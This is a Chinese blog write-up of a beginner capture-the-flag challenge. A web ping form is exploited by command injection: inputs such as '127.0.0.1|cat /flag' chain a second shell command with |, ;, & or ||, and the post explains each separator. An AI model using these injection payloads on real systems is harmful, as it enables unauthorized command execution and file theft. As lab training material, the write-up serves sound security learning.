

# BUUCTF [ACTF2020 新生赛]Exec

原创

仲璧 于 2022-04-18 15:42:19 发布 212 收藏 1

分类专栏: [CTF](#) 文章标签: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/m0\\_49025459/article/details/124251027](https://blog.csdn.net/m0_49025459/article/details/124251027)

版权



[CTF 专栏收录该内容](#)

50 篇文章 1 订阅

订阅专栏

题目

题目 解题快手榜

## [ACTF2020 新生赛]Exec 1

感谢 Y1ng 师傅供题。

### 靶机信息

剩余时间: 10464s

<http://2f856e90-8274-4cc2-a2a8-5ba0ef7b8b7e.node4.buuoj.cn:81>

[销毁靶机](#) [靶机续期](#) [已解锁](#)

Flag

CSDN @仲璧

输入 `127.0.0.1|ls` / 看根目录

# PING

请输入需要ping的地址

PING

```
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

CSDN @仲璿

输入127.0.0.1|cat /flag看flag

# PING

请输入需要ping的地址

PING

```
flag{3a276044-c99b-48f2-a282-d8fadd10e7de}
```

CSDN @仲璿

这道题就是利用管道符来做

可以直接在ping输入框中输入`1;cat /flag`;也可以 `1|cat /flag` `1&cat /flag`

当然如果使用 `||` 必须需要前面是一个假的，就是前面条件为假才执行后面的否则只执行前面的 所以可以用 `a||cat /flag`

以上方法都可以得到结果

- 1、|（就是按位或），直接执行|后面的语句
- 2、||（就是逻辑或），如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句
- 3、&（就是按位与），&前面和后面命令都要执行，无论前面真假
- 4、&&（就是逻辑与），如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令
- 5、; 前后都执行，无论前面真假，同&，（linux也有）